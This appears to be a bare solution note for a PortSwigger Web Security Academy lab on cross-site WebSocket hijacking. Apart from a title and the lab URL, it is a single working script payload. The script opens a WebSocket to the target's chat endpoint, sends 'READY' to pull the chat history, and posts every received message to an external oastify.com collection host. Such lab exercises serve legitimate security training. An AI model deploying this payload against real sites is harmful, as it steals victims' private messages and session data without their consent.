Lab: Cross-site WebSocket hijacking

https://portswigger.net/web-security/learning-paths/websockets-security-vulnerabilities/using-cross-site-websockets-to-exploit-vulnerabilities/websockets/cross-site-websocket-hijacking/lab#

<script>
var ws = new WebSocket('wss://0ab0007604c1b145827cf77200bc002c.web-security-academy.net/chat');
ws.onopen = function() {
    ws.send("READY");
};
ws.onmessage = function(event) {
    fetch('https://i8r4ov9shu472fj7rwrtyu4p5gb7zynn.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>